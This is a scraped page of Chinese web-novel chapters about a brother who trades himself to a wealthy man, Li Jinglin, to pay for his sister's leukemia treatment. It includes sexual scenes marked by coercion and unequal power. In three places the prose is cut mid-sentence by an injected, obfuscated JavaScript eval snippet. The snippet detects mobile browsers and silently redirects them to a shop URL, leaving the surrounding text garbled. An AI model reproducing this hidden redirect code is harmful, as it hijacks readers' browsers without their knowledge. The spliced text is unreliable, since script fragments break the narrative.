小霞高兴得立马就让老板编了绳结戴在脖子上,曾闰成和老板寒暄告别的当口,她也时不时低着头盯着那块平安扣,一抬头,两行鼻血毫无征兆的流了下来。 “小霞!”曾闰成大惊失色。 “哥你别担心,我,我大概是中暑了……”曾闰霞尽量仰起头,喉咙里黏糊着,还不忘记安慰她哥哥,却在一阵天旋地转中彻底失去了意识。 17. 第 17 章 曾闰霞觉得自己好像睡了好几觉,每一次醒来她哥都坐在床边温柔的看着她,那慈祥的目光就跟婆婆一模一样。“哥,我刚做梦梦到婆婆来了。” “哦,她有没有跟你说什么?”曾闰成伸手帮她把一缕头发别到脑后,“饿不饿?有小米粥。”他打开一个餐盒,将一勺温热的小米粥递到她嘴边。 “她说后山的南瓜都熟透了,让我去摘回来,她给我们做南瓜皮。她背不动。”她吞咽着小米粥,只觉得饥肠辘辘。 “小霞总是最能干的,哥经常不在家,都是你帮婆婆干活。”曾闰成低下头,“生病了也好,可以休息一下。” “多亏是暑假,不然请假可不好,”小霞想要从床上坐起来,却觉得身体疲累得很。“哥,我再睡一会,我觉得好困……” 眼睛闭合的间隙里,好像有几个穿白大褂的身影向她走过来,意识逐渐变得昏沉,耳畔传来断断续续听不懂的话语:“急性髓系……非M3……必须马上开始足量化疗……要等患者身体状况稳定才能考虑是否进行干细胞移植……” 等她再次清醒,窗外的霞光铺满了整间病房,她敏锐的发觉好像换了个地方,没有医院里那种怪怪的气味,窗帘也是她喜欢的粉红色。 可是胳膊上插着针头,床头的吊瓶是奇怪的咖啡色,就好像往身体里输入的是咖啡一样。 听到声响,一个陌生的女人走过来,冲她友好的笑笑,“你醒了,小霞,我是你哥哥的朋友。” 哥哥的朋友?她看上去比哥哥年纪要大些,穿着精致的套装,化着好看的妆,跟电视上那些职场女强人很像。 “你是谁?我哥哥去哪里了?” “很多手续必须本人到场,他去办理,不放心你,所以让我来照顾你,我姓苏。”她勾勒得精致的唇角,微微的弯起,“我会陪你们去德国,请最好的医生来给你治病。” ————————————————————————— 傅廷恩起初并没在意,他发了个聊天表情给曾闰成,没有收到回复,这不奇怪,曾闰成很少在微信上闲聊。 第二天收到雅思的成绩单,他拍了个照片传送过去,又加了个求夸奖的表情,依然没有回复。 他只好发了个信息给小霞:“这周末做什么好吃的呀?”竟然也没有回复,他这才觉得不对起来,小姑娘从来都是秒回,偶尔隔一会也要解释一句:刚刚在做饭。刚刚在洗衣服。 他干脆拨个电话过去,竟然关机?再打曾闰成的,没有关机,可是也没有接听。他隔几分钟就拨打一次,始终无人接听。 他一下子就变得急躁起来,这才发现,他们除了彼此,再没有一个共同的朋友或者可以联系的人。 他抓起钥匙就往外面跑,傅太叫住他,“去哪里?王叔女儿过生日他回家了哦。” “我知道,我自己开车。”他晃晃车钥匙。 “哎呀不可以,你驾照还没下来,而且天色也不好,看样子要下雨。”傅太追到花园门口,傅廷恩的身影已经不见了。 他跑到曾闰成租住的房子外面,没有灯光,可是他不死心,“哐哐”一气砸门,细细的犬吠声传来,是Lucky,客厅里似乎有动静。 他再顾不得礼仪风范,绕到低矮的围墙外头,退后几步,加速一冲就翻了过去,落在院子里的草坪上。 一点微光亮起,客厅的床上坐起来一个身影,“啪嗒”一声打火机的动静,香烟被点燃,星芒照亮一张熟悉的面庞,“是廷恩吗?”身影挠了挠头发,“不好意思,这两天高中同学从老家过来,喝了几场酒,头到现在都是晕的。” “老师,你怎么抽烟了?”傅廷恩还记得曾闰成把烟从他嘴里抽走的场景,那之后他很少再抽烟。 “嗯,偶尔抽着玩。”曾闰成的声音透着点散漫,“同学聚会嘛,烟酒都来一点。” 傅廷恩这才注意到客厅里还弥漫着浓烈的酒味。“没啥事就好,”他松了口气,“怎么不开灯?小霞呢?” “让我同学带回老家了,老家还有几个亲戚,暑假回去看看。” 他制止了他要去开灯的动作,“别开了,有件事想问你,开着灯我可问不出口。” 傅廷恩的心跳陡然就急促起来,他脱力般的垂下双手,低着头,围墙外的路灯光芒透过水泥栏杆的间隙,淡淡的铺排在客厅的地板上,细碎的一束束光柱里升腾起斑斓无状的幻景。 “你……”一如往常低沉悦耳的声音,传达的内容却让人无比陌生,“算了,没什么好问的。你上次还问我计划来着,我打算回老家,这金城不是我这种平民子弟该待的地方。我们高中同学在老家混的个个比我好。” “什么?”傅廷恩简直不敢相信自己听到的,“你要离开金城?你不是答应过我,即使不在恒雅也会在金城吗?我假期回来……” 曾闰成阻止他说下去,仍旧懒散的腔调,“嗯,要食言了。没办法,我们曾家也要传接香火,想在金城这种地方娶妻生子太难了……” 恍若一道道惊雷炸响在头顶,震得他全身都不自觉的抖动起来,可是心头升腾起的不甘却愈发的无法按捺,傅廷恩蓦地转身,向前一步,看着那双再熟悉不过的眼睛,还有那张丰润的在梦里描摹过无数遍的嘴唇,始终无法相信这些话语真的出自它们。 “曾闰成,我喜欢你。”他轻轻的,低低的。“真的很喜欢你。” 清澈的眼眸隐入黑暗中,相对而立的身影却退后了一步,半晌,有些讪讪的声音传来,“哎,我大概是知道的,这可就难办了……虽然你很好很优秀,可是,廷恩,”轻飘飘的一句话钢丝一样扎进傅廷恩的心脏里,“我不喜欢男的。” “是,是吗?“他很艰难才找到自己的声音,不是没有设想过这个可能,可心里总抱着更大的期望。 曾闰成身边几乎没有异性来往,说到前女友好像也没有遗憾难过的样子,傅廷恩在英国的时候也交过女朋友,在他看来跟玩伴也没有什么差别。 这些都让他产生了错觉,或许Jasper跟他是一样的,没有遇到那个人的时候以为自己是正常的性向…… 良久的沉寂之后,“对不起……打扰了。”他失魂落魄的走向门口,浑然不知自己眼角有泪滑下来,在昏暗的光线里分外晶莹刺目。 一只手拖住了他,猛地一拉,他转过身去,一抹柔软几乎是笔直的撞了上来,片刻间就截断了他的呼吸,熟悉的清冽芬芳夹杂着浓郁的酒香瞬间就将他包裹。 两张红唇在刹那间有如电流交汇,步伐一致的急不可待,完全无法思考甚至无法呼吸,只有最本能的渴求和索取。 灵巧的舌尖重逢般迫切的缠绕在一起,不断的箍紧、追逐,唇根处传来阵阵酥麻,热辣滚烫,傅廷恩本能的将双手伸进他的衣摆,环抱住他劲瘦的腰身…… 一股大力猛地将他推开,曾闰成后退了数步,跌坐在床畔,“闰成……”傅廷恩慌乱而急切的想要靠近。 “别过来,廷恩,”曾闰成突然站起,“我想试试,但真的不行……我有点恶心,你出去的时候把门带上。” 身影飞快的冲向了洗手间,门“嘭”的关上,紧接着传来湍急的水流声夹杂着轻微的呕吐声。 傅廷恩生平第一次体会到了从天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422347|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂到地狱,不过须臾之间。 他几乎是机械般的移动脚步,迈出门去,回望一眼,轻轻把门带上,转身走进了雨里。 曾闰成靠在浴室的门后,脸上一片湿漉漉的,分不清除了刚刚泼洒到脸上的水是否还有别的什么。 他脱力般滑坐到地上,胸口处传来阵阵闷痛,他揪紧了衣领。“对不起,廷恩……” 要他怎么开口,跟这个十八岁的男生说他刚刚达成的一场交易呢?他在他心目中的形象或许会轰然坍塌,除了烦恼、痛苦,什么也不会留下。 横竖没结果,长痛不如短痛…… ————————————————————————— 淋了一场大雨,傅廷恩得了一场重感冒,傅太忙前忙后的照顾他,看他退了烧,忍不住念叨几句:“叫你不要冒雨出去偏不听,你王叔说车上一滩水,不知道你是不是河里游泳去了。” 她心知傅廷恩这感冒来得蹊跷,却也不好直通通的问,问了也不会说。 “Barry啊,你在国内生病还好,如果在国外怎么办?也没人照顾你,你姑姑一家今年都迁到墨尔本,她说伦敦的气候实在不喜欢,一年大半都是阴雨天……” 傅廷恩听着她唠叨,不想说话也不想动,侧躺在床上,看着窗外的雨幕发呆,脑海里其实一片空白,什么也没有想。 门上传来“磕磕”两声轻响,阿姨提着个小篮子上来,揭开盖子,小金毛“呜呜”着探出头来,傅廷恩从床上蹦起来,搂着那小狗仔细的打量,是Lucky没错,“哪来的?”“你王叔让我提上来给你看看,是一个曾老师给他的,说他们要回老家了,养不了了,让送回来给你……” 傅廷恩飞快的冲下楼去,睡衣都没有换,穿着双拖鞋,冲王叔喊,“钥匙!” 傅太急匆匆追出来,“廷恩,你感冒还没好,要去哪里?”他也不答话,看见门口的小圆桌上摆着另一辆车的钥匙,拿起就走掉了。 他围着那个熟悉的小院子转了几圈,安静得没有任何人声,旁边的邻居经过,看见他傻呆呆站在那里,忍不住好心提醒:“前两天就搬走啦,退租了,说是回老家去。也是哦,外地人在这里房子都买不起,咱们这房子别看旧,也得大几百万哩……”唠叨着走开了。 傅廷恩只觉得一颗心像被浸泡在苦水里,酸胀的感觉充满着整个胸腔。你是这样狠心,再见也不说一声。 他愣愣的站在那堵低矮的围墙外面,任细密的雨丝在发间穿梭,耳畔似乎还回响着这所老房子里的欢声笑语,直到淅沥的雨声愈来愈清晰的坠落在地面,又彷佛落进了心底。 他喃喃的低语,“再见了,曾闰成。” 傅廷恩木着一张脸回到家里,谁的招呼也不搭理,径直回到房间,Lucky已经跑下去,只有装它的篮子还留在床边。 他踢开,却一眼瞥见篮底有一只别致的小盒子,呼吸都顿住,小心的打开来,一块水润的平安扣安静的躺在丝绒盒底,一张折叠的小纸条,打开来是熟悉的字迹:对不起。 对不起?对不起什么呢,他甚至愿意为了他试一试,只是克制不住生理的厌恶罢了。 他用手蒙住脸,眼泪顺着指缝滑落,过会又不自觉的大笑起来,是谁说过,初恋的美好就在于它必然会消失? 这是他傅廷恩生平第一次真正意义上的喜欢一个人,喜欢到如果他愿意和他在一起,他可以去亲吻地板上的灰尘。 从此以后,再也不会有这样的人了,再也不会为了谁去低声恳求去哀伤哭泣了,去他妈的曾闰成!去他妈的初恋!他狠狠把盒子从窗口扔了出去! 18. 第 18 章 两年半后,德国。 十二月的柏林银装素裹,临近圣诞节到处披红挂绿,家家门上都挂着圣临花环,将郊区小镇装点得宛如童话世界。 在一众尖顶、斜坡顶的房屋中,一幢纯白色的小庄园十分醒目,它占地颇广,主体建筑有着类似古堡的设计,除了屋顶是灰蓝色琉璃瓦,通体纯白,从门厅铺向白色铁艺围栏的甬道也是用小而圆的白色鹅卵石铺就,两侧是修建得十分齐整的草坪。 富人区的独栋别墅一般是没有围墙的,这幢却在花园外围了一圈白色栏杆,虽然低矮,也表达了主人不愿被过多打扰的想法。 冬天天黑得早,下午四点暮色就已降临,围栏立柱上一盏盏昏黄的灯光亮起,巨大的落地窗前荡漾着微微一圈红晕,是壁炉里跳动的火苗。 一个青年闲适的靠坐在壁炉前的橄榄色沙发上,翻动着手里的书页。火光镀印在他的眉梢眼角,令他侧坐的身影都散发着温润的光芒。 少女拎着一把小喷壶进来,打破了这静谧的美好,她先给白色护墙板边上的绿植都喷了一圈水,才走到沙发前冲她哥撒娇:“哥,你怎么老在看书?你也理理我嘛,我都无聊死了。” 曾闰成放下手里的小说,叹口气,冲她笑道,“又喊无聊,昨天才陪你去逛了圣诞集市。” “听说明天晚上俱乐部里会有圣诞party,我可以去参加吗?” 曾闰成想了想,点点头,“如果景麟没有其它安排,我就带你去。” “好,我去说,李叔叔一定会答应的。” 她比李景麟刚好小了二十岁,确实可以叫叔叔。曾闰成也不纠正她,随她喊。 少女高兴的站起来转了个圈,“我要穿新买的舞裙,老师说我的华尔兹已经跳得很好。” 市区的圣诞party一般都是热闹喧嚣的迪厅氛围,但是在郊区一些高端社区还保留着传统的舞会。 “李叔叔怎么还没到?”她眼巴巴的扯着曾闰成的衣袖,“我肚子有点饿了。” “厨房有烤肠和姜饼,你让Mary给你拿,不要吃太多。”他看看外面暗沉的天色,“大概是天气不好,影响了飞机速度。” “好!”少女答应着,乖巧的转身去了厨房。 曾闰成看着她轻盈的背影,眼底流露出欣慰的神情。异体干细胞骨髓移植后,身体没有产生任何的排异反应,年轻的生命重新爆发了生机。 现在只要每个季度一次化疗再加上每个月口服小分子靶向药,就能维持良好的生命体征运转。 就像一株原本将要枯萎的鲜花,在阳光雨露的滋润下,重现了娇妍鲜丽,有什么能比这更让人欣喜呢? 手机响起,他接起电话,苏秘书温和干练的声音传来:“闰成,李总的专机已经降落在柏林分公司楼顶,风雪较大,大约四十分钟之后抵达。” 苏秘书的妥帖周到在每个细节处彰显,“好。”他挂了电话,收拾了手边的书籍。 上到二楼,打开东向的房间,整面墙的落地窗外是白茫茫的一片,银一样的白,玉一样的润,遮盖了原本苍翠的山林。北风呼啸着在山林间流窜,卷起一堆堆银屑。 他呆立着欣赏了片刻,目光转向那张king size的大床,菲佣已经将床单熨平得没有一丝褶皱,他走过去在几个枕头间将他惯用的那一只摆在最外面,再拍了拍并不存在的灰尘。 将床头的降临日历翻过新的一页,点燃铜盏里的香薰,雪松加山泉的香气缓缓的浸润开来。 他走到尺寸类比小型游泳池的圆形浴缸旁,开始预热注水,把他爱用的澡豆浴盐放置在一旁的浮板上。 李景麟的习惯是无论到得多晚,都要先洗澡再吃饭,而且这些准备工作一定要他亲自动手,他总能从细微处看出端倪,曾闰成吃过一两次教训以后再也不敢随意敷衍。 他看看时间,走下楼去,曾闰霞已经披好了斗篷。“你别出去了,外面冷。”他裹上大衣,走到玄关处穿鞋。 “不要,我想早点见到李叔叔。”小霞已经推开门跑到外面甬道上。 两个菲佣Mary和Emma也从厨房里出来,站到门厅的两边。 曾闰成牵着小霞的手走到大开的铁门前,不过两三分钟,一辆宾利一辆奔驰就出现在了道路的尽头,他不自觉的皱了一下眉头。 两台车就说明李景麟要待一段不短的时间,他是个挑剔的人,一两天能够将就,有一个星期以上的行程安排,就必然要带上厨师和按摩师。 车辆无息的停在铁门边,前座的保镖飞快的下来,拉开后座的车门,李景麟高大的身影钻出车厢,看见他站在外面,面上露出一抹笑意,“以后下雪不要出来。”他从车上下来,也没有穿外套,一件浅灰色羊绒毛衣,两手插在裤兜里,曾闰成笑笑不说话。 李景麟伸出一只手来,手掌摊开,曾闰成愣了一下,把手放进他掌心,他大掌包裹,牵住他,往里走。 门厅两边两个菲佣行礼:“Merry Christmas,Sir.”身后跟着的秘书将两个厚厚的红包放到菲佣手里,换来浓厚的喜悦和再一次行礼。 秘书又将一个大号礼盒递到曾闰霞面前,李景麟笑着用德语说了一句“Frohe Weihnachten.” “Frohe Weihnachten.”曾闰霞也用德语回复了一句圣诞快乐,他伸手摸摸小霞的脑袋,“最近乖不乖?有没有按时吃药?” 尽管少女这两年抽条了,在192的高大身影面前,仍然是抬手就能摸到头顶的高度。 “有啊有啊,”曾闰霞喜滋滋的打开印有Elie Saab字样的礼盒,是一条做工考究的公主裙,重工刺绣着玫瑰花朵,深绿的裙摆缀着墨绿色的蕾丝花边,一眼就看得出的华美精致。 “哇,好漂亮,比之前哥哥带我买的那条更漂亮,明天舞会我要穿这一条,谢谢李叔叔。” “明天穿你哥哥买的,这条可以等到过两天的巴黎舞会再穿。”李景麟牵着曾闰成的手走上楼梯。 “啊,巴黎舞会?!”曾闰霞小小的尖叫一声,“我也可以参加吗?我才刚满十六岁……” 秘书将一份邀请函递给她,不动声色的将她引向客厅的沙发。 李景麟牵着曾闰成的手走进二楼的房间,门一关,将他按在门上就是一顿热吻。他略带凉意的唇几乎是急切的攥取着那份温热柔软,霸道的舌席卷过整个口腔,搜刮着所有的甘甜,清冽馥郁的芬芳在鼻端萦绕,是专属于身下这个青年的气息。 他火热的索取与挑逗,换来温柔的回应,微微探出的舌尖就像在一场春雨的洗礼后,从地里颤巍巍探出的嫩芽,立刻被风雨强有力的缠绕包裹…… “嗯……”片刻之后,青年发出一声呢喃,温柔却坚决的将他推开了些许,“先吃饭。” “我想先吃你。”他毫不掩饰赤裸裸的欲望,紧盯着那张因为窒息而泛红的面庞。 他推他往浴缸边走,“赶紧洗澡,我都饿了。”曾闰成别过头去,回避着他的目光。 李景麟一个转身就将他压在护墙板上,不悦的蹙眉,“这么久没见了,一点也不想我?”手指划过他润红的唇瓣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422348|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >明明上个月才见过,但曾闰成知道这话不能回答,只能抬起头,温和的眼眸凝视着他,露出一点柔软的笑容,“我准备了热红酒,03年的勃艮第,放了肉桂和丁香,要不要尝一尝?” 他很满意他的知情识趣,在他唇上点了点,起身放开他,开始宽衣解带,他有着极其挺拔的身段,标准的宽肩细腰倒三角,即使脱|光了也气势迫人,他滑入浴缸中,打开按摩键,几束水柱翻腾,冲刷着紧实的躯体。 “要不要叫Tina上来?” Tina是手劲很大的港城美女,是李景麟的专属按摩师。 “不用,让他们把行李送上来。” 曾闰成走到床头拿起电话,用英语交待了几句,片刻之后,“磕磕”轻响,穿黑西装的保镖将行李箱送到门口,又悄无声息的退了下去。 “箱子里有你的圣诞礼物,自己找。” 曾闰成打开行李箱,先帮他把各类物品归置,再打开一个系着缎带的礼盒,是一块江诗丹顿,黑色表带,表盘镌刻着繁复花纹,显示三个时区。 “谢谢。”他随手放在一侧的床头柜里。 “不戴上?” “明天再戴吧。” 曾闰成一回头,李景麟正直挺挺从浴缸里走出来,他慌忙移开眼睛,李景麟笑一下裹上浴袍在梳妆台前坐下。 曾闰成只能走上前去,打开吹风,帮他吹干头发。 李景麟看着镜子里围绕他转动的身影,一只手环握住他的腰|身,双退分开,拉他坐下,不吝表扬,“越来越乖了。” 曾闰成也不答话,迅速的帮他吹干头发,就要起身给他拿衣服,他伸手环住他肩膀,移到后脑勺,强势的握住,又是一记深吻,浴袍里的某样物什迅速的膨胀,硬硬的戳着他大退的一侧。 “都在等你吃饭。”曾闰成有些慌乱的起身,飞快的走进衣帽间,李景麟轻笑一声,擦干身体,换了一件毛衣长裤,和他并肩下楼去。 欧式的长餐桌旁只有曾闰霞端坐的身影,看他们下来,开心的吩咐:“Mary,Serve the dishes please.” 两个菲佣只听得懂英语,手脚麻利,饭菜也做得不错,平时照顾曾家两兄妹是完全足够。 但李景麟如果过来,待的时间稍微长一点就会另带厨师,他对衣食住行都有相当高的要求。 Mary虽然是菲籍,但是从柏林当地厨师学校毕业,在德国已经生活了十多年,她做的德国猪手、牛排、白肠香肠、各类甜点饼干都很地道。 一般到的第一天,李景麟是能够接受一顿德国餐的,他切了一片牛肉放到嘴里,又端起热红酒啜饮一口,热辣香甜总能够让人心情愉悦。 “听苏茜说,你申请了到了欧盟玛丽居里学者?”他是漫不经心的口气。 曾闰成却听得心头一跳,“是,也不确定能申请到,所以开始没有跟你说。” “你缺这两三千欧?”他吃到七分饱,放下刀叉,用餐巾揩了揩嘴角。 “不是,”曾闰成解释,“只是申博的话拿到这个奖学金是实力的证明,博导比较看重这个。”他答得温和轻松,实则眼神留意着李景麟的脸色。 李景麟没有说话,起身离开餐桌,踱步到起居室的窗前,看着窗外纷扬的雪景,点燃了一根烟。片刻之后,转身上了楼梯。 曾闰成暗叹口气,在餐桌前坐了小一会,用托盘装了那壶红酒和两个高脚酒杯,冲妹妹点点头,“晚上别吃太多,散散步再睡。”转身也上了二楼。 曾闰霞看看墙上挂钟,不过八点,撇了撇嘴。 19. 第 19 章 推开二楼卧室的门,李景麟靠在窗前的沙发上看书,是曾闰成原本放在起居室边几上的那本《瓦尔登湖》德文版,听到动静,抬头睨他一眼,继续翻阅着书页。 曾闰成将托盘搁在茶几上,又给他的杯子倒上半杯温热的红酒,温和的邀他碰杯:“别浪费了这么好的酒。” 李景麟眼睛粘在书上,随意的举起杯子跟他碰了碰,曾闰成修长的手指攥着玻璃杯柄,“景麟,我们聊聊。”他口吻里带着点祈求。 “看样子你很想去读这个博士,”李景麟“啪”的丢下书本,坐起身体,宽阔的脊背靠在沙发上,仰脖喝了一口,醇厚馥郁的酒香在舌尖弥漫开来。 “是,所以我想跟你商量搬去法兰克福,柏林离海德堡太远,小霞现在的情况也不需要再频繁的跑夏利特,你从金城飞柏林和飞法兰克福的路程相差不太大……” 柏林拥有欧洲排名第一的夏利特医院,给曾闰霞做手术的医疗团队以及后续的护理团队都来自这家医院的VIP服务中心。目前曾闰霞的情况基本稳定,一个季度去夏利特做一次化疗就可以了。 曾闰成也喝了一口,脸庞泛起微微的红晕,他原本就是很白皙的肤色,一点红酒让他面若桃花。 “法兰克福没有设立分公司,也没有修建停机坪,全部筹备到位至少一年半载。”李景麟仍然不太高兴的样子,但是目光开始在他脸上游弋。 曾闰成斟酌着开口,“你……能不能从金城坐商务舱……”在李景麟谴责的目光里说不下去,“要不,这样好了,你来的时候让苏秘书提前打电话,我回柏林陪你好不好?” “伺候的人怎么办?跟着你两头跑?”看房子的园丁花匠容易找,熟悉曾闰霞身体状况,做的饭菜合口味,英语流利有分寸,这样的看护人员可不是一蹴而就的。 “那……”曾闰成一时语塞,只能思索着抿一口红酒。 李景麟看着他红霞翻飞的面庞几乎移不开眼睛,世间百般绝色,唯有这一种是我的心头好。 “你这博士是非读不可吗?” 曾闰成觉察出有商量的余地,立刻放下杯子,一双桃花眼极其诚恳的注视着他,“海德堡大学我其实向往已久,难得有这样的机会……” 李景麟是丹凤眼,薄薄的单眼皮,侧目看过来的时候总带点睥睨的神情,“我在法市中心有一套大平层,一直空着,倒也不是不能住……” 他朝着那张king size床的方向抬抬下巴,“看你今晚表现了……” 曾闰成愣了一下,“我……我先去洗澡。”刚一转身,后背已经覆上来一个温热的躯体,细密的吻落在脖颈旁,“我帮你,”他在他耳旁轻声低语,双手掀起他身上那件米色薄毛衣下摆,曾闰成只能配合的举起双手,毛衣像剥笋壳一般被剥落,随意的丢在沙发上,接下来是长裤,短裤,袜子,丢了一地。 他白皙清瘦的躯体毫无遮掩的呈现在李景麟面前,令他双眸泛红,呼吸急促。 但他向来是个耐心十足的猎人,即使血液开始奔腾向某一地方集中,也依然不急不缓的从耳畔吻到他的嘴唇,在一番狂风暴雨的攫取之后,如愿看到那丰盈的唇瓣充血发肿才稍稍放开。 “你知道吗,你有一张天生适合接吻的嘴,”他啃噬着他的嘴角,又一路向下,滑过下巴尖,在喉结处流连辗转。 曾闰成受痛似的仰头,脖颈微微的颤抖,就像被古堡里的德古拉迷惑了心神一般,露出了柔弱的颈段…… “让我先洗澡……”他尝试着将他推开,完全无法撼动,他铁掌般的双手牢牢禁锢着他的腰|身,高大的身躯却微微的弯下来…… 曾闰成嘴里渐渐发出一些情动的低喃,李景麟得意的扯开嘴角,一个翻身将他压到床上,探手向下,看曾闰成难堪的别过头去,他覆在他耳边低语,“它比你诚实,它说想我了……” 第二天早上,曾闰霞一个人吃的早餐,等中餐也是一个人,她有些着急,想上楼去问问,守在楼梯口的保镖拦住她:“Do not disturb.”(请勿打扰) 秘书徐理走过来,“小姐,李总说由我带您去参加俱乐部的舞会。” “好吧,不知道会不会有舞伴。”如果哥哥在,至少哥哥可以陪她跳。 “您不介意的话,我可以陪您练习。”徐理是身材修长的男士,是秘书团的二秘,“等过几天的巴黎舞会,李总会为您挑选合适的舞伴。” 巴黎每年都会举办几场舞会,一月初这一场是欧洲享有盛誉的舞会之一,出席者非富即贵,更不乏底蕴深厚的世家,每年的邀请函都是一张难求,按道理是不会邀请未满十八岁的女士的,但凡事总有例外。 短短两年,曾闰霞已经深刻认识到了李叔叔的神通,没有异议的首肯了秘书的陪伴。 等她从俱乐部回来已经十一点,她穿着粉色舞裙配小羊皮短靴,秘书跟在身后,帮她脱下白色的貂毛大氅,外面还是很冷的。 正好看到她哥从楼梯上走下来,裹着深色睡袍,脸上的神情分不出是慵懒还是颓丧,微肿着眼睛,露出的脖颈和一小片胸膛上红痕密布,看到曾闰霞他拉紧了睡袍领口,脸上闪过一丝不自然,“早点睡吧。”声音依然柔和。他转身进了旁边的起居室,关上了门。 —————————————————————————— 曾闰成蜷缩在起居室宽大的沙发上,没有开灯,壁炉始终留有微火,这样昏暗里带了点微光的环境总能让他特别有安全感。 他点燃一根香烟,没有吸,就咬在唇齿之间,看丝丝缕缕的烟雾蒸腾飘散。 他除了跟傅廷恩告别的那一次,几乎从不抽烟,在德国这两年多却也慢慢习惯了在烦恼怅惘的时候点上一根。 身体已经疲累不堪,脑海里也是一片混沌,却没有丝毫的睡意。 最近他的睡眠问题越发的严重,哪怕□□极度疲累,精神也始终亢奋着无法入眠。 才来德国的第一年,大部分时间都在医院度过,似乎根本没有精力去思考别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422349|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,或许是这大半年各方面的情况逐渐趋于稳定,那些被他刻意淡忘的场景开始逐一的在脑海浮现。 金城的医院里永远是哄哄闹闹的场景,他攥着那一纸报告单,好像在冰天雪地里穿行。 医生的话语回响在耳畔:“急性髓性白血病的成因很难说,或许来自父系亲属,也有很多患者毫无缘由……非M3基本都难治,M7又是其中最难的一种……家属在经济、心理各方面都要做好准备……先足量化疗看看效果,不止经济条件,还要身体条件允许才能考虑骨髓移植……” 他记得那天的太阳很大,医院花坛边坐着的人却很多,无一例外脸上都是愁苦、怔愣的表情,似乎都无法相信厄运就这样降临…… 他回想起银行卡上四位数的余额,掏出手机,却不知道打给谁……铃声响起,他愣了半晌才接。 耳边传来苏秘书熟悉的声音,一如既往的妥帖周到:“闰成,小霞这个病症确实棘手,以目前的医疗手段来说,完全治愈是不太可能,但不同的治疗方式存活期长短也不同。” 她用满是遗憾的口吻开出了极为优惠的条件,“欧洲顶级的医疗团队,最齐全的护理资源配备,想跟你换一个两线相交的机会,不知道你意下如何?” 曾闰成并没有犹豫太久,白花花的太阳晒得他眼冒金星,他仰起头直视着那轮烈日,直到眼睛里是一片白茫茫的光斑,他才闭上眼睛,低声道:“好。” 挂了电话,良久之后,他回身望着花坛边那些佝偻、无助的身影,突然就理解了姚子琪说的那句话,是该庆幸有人愿意换吧,坐在烈日下的这群人,谁不愿意换呢? 别说一副躯体,有的人甚至愿意拿命换,可是谁又来跟他们换呢?在生命面前,尊严、原则、内心那点小小的悸动又算得了什么。 李景麟是个守信的人,苏秘书的办事能力也令人惊叹,几乎是在最短的时间内将一切安排得妥妥贴贴。 作为直系亲属,他是点位最相合的供体提供者,一系列的检查、手术,等曾闰霞暂时性的康复出院,他们已经在德国待过了大半个秋天。 曾闰成走出庄园,看着不远处的河流边垂钓的身影,在鱼没有上钩以前,身影几乎是纹丝不动,即使秋风拂过他的脖颈。 李景麟是个耐心十足的人。君临在欧洲四国设有分公司,而柏林分公司算是欧洲的总公司,他每个月一趟专机过来。 他一般白天待在公司处理事务,晚上会回庄园,但从没有对曾闰成提出过任何要求,连暗示都不曾有。 有时候甚至就钓上一下午鱼,第二天就不见了踪影。 走到了这一步,李景麟反而没有了在金城的那种强势,他用悠闲散漫的态度明晃晃的表示他不屑于逼迫。 他甚至很少主动找他聊天,似乎不想给他丝毫的压力。但是曾闰成不能装傻,他明知他想要什么,既然答应了换,就没有退缩的余地。 这个秋日的晚上,曾闰成一个人喝了半只红酒,主动走进了二楼那个房间…… 20. 第 20 章 第二天的早餐桌上,李景麟宣布了搬去法兰克福的决定。两个菲佣和一个司机当然没有异议,只有曾闰霞略略不满:“我刚和这里的同学熟悉一点……”她垂头用叉子戳着香肠。 李景麟和颜悦色的安抚她,“法兰克福比柏林更热闹,市中心生活设施也便利,你很快会有新朋友的。” “好吧。”她不是个任性的姑娘。 “我们先搬家,然后从法兰克福去巴黎,参加舞会。” 提到舞会,曾闰霞又高兴起来,有关舞会的消息就是柏林国际学校的同学告诉她的,等她穿上那条舞裙,一定要拍很多照片,传到ins上,让同学们都羡慕她。 不过一天的时间,徐理就指挥着两个菲佣收拾好了行李,保镖负责搬运到车上,原本温馨的庄园顷刻间就空荡了不少。 柏林到法兰克福有五百多公里,交通顺畅的情况下,也要六七个小时,“要不要给您三位预定机票?”秘书上前请示。 “不用了。”李景麟拉着曾闰成上了那辆加长宾利,曾闰霞要跟过去,徐理拦住了她,“小姐,您跟我坐后面这辆车吧,”他压低了声音,“李总不喜欢太拥挤。” 一上车,李景麟就按起了驾驶室和后座之间的升降隔板,全钢材质,隔音效果不亚于房间墙壁。 他外套都没脱就压着曾闰成在椅背上亲吻,曾闰成使劲推他:“至于吗……别这样,你坐好吧……” 他有时候难以理解李景麟对这个身体的喜爱程度,实在以前没有这层关系的时候,他还是很有绅士风度的,举止称得上谦谦君子。 